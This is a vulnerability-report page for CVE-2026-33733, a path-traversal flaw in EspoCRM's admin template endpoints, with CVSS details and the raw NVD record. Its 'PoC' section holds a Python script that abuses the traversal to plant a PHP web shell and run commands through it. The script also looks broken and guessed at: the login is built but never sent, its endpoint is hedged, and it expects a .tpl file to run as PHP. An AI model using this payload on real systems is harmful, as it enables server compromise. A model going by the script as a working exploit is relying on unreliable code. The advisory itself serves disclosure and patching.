Security Vulnerability Report
中文
CVE-2026-33733 CVSS 7.2 HIGH

CVE-2026-33733

Published: 2026-04-22 21:17:06
Last Modified: 2026-04-27 15:08:59

Description

EspoCRM is an open source customer relationship management application. Prior to version 9.3.4, the admin template management endpoints accept attacker-controlled `name` and `scope` values and pass them into template path construction without normalization or traversal filtering. As a result, an authenticated admin can use `../` sequences to escape the intended template directory and read, create, overwrite, or delete arbitrary files that resolve to `body.tpl` or `subject.tpl` under the web application user's filesystem permissions. Version 9.3.4 fixes the issue.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:* - VULNERABLE
EspoCRM < 9.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests """ PoC for CVE-2026-33733 (EspoCRM Path Traversal) This script attempts to write an arbitrary file using path traversal. """ def exploit(target_url, username, password): session = requests.Session() # Authenticate as admin login_payload = { "username": username, "password": password } login_url = f"{target_url}/api/v1/App/user" # Note: Actual login endpoint flow may vary based on EspoCRM configuration headers = { "Content-Type": "application/json" } # Target endpoint for template management # Vulnerable parameter: 'name' and 'scope' template_url = f"{target_url}/api/v1/Template" # Payload to write to a file outside the template directory # Using '../' to traverse directories exploit_data = { "name": "../../custom/hacked_body.tpl", # Path traversal payload "scope": "Global", "body": "<?php echo system($_GET['cmd']); ?>" # Malicious content } try: # Sending the malicious request response = session.post(template_url, json=exploit_data, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File likely written.") print(f"[+] Check file at: {target_url}/custom/hacked_body.tpl?cmd=whoami") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage target = "http://localhost/espocrm" user = "admin" pwd = "password" exploit(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33733", "sourceIdentifier": "[email protected]", "published": "2026-04-22T21:17:05.970", "lastModified": "2026-04-27T15:08:59.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EspoCRM is an open source customer relationship management application. Prior to version 9.3.4, the admin template management endpoints accept attacker-controlled `name` and `scope` values and pass them into template path construction without normalization or traversal filtering. As a result, an authenticated admin can use `../` sequences to escape the intended template directory and read, create, overwrite, or delete arbitrary files that resolve to `body.tpl` or `subject.tpl` under the web application user's filesystem permissions. Version 9.3.4 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.3.4", "matchCriteriaId": "C81517CA-6567-41DC-A0A9-309FFD7B48E8"}]}]}], "references": [{"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-44c3-xjfp-3jrh", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-44c3-xjfp-3jrh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}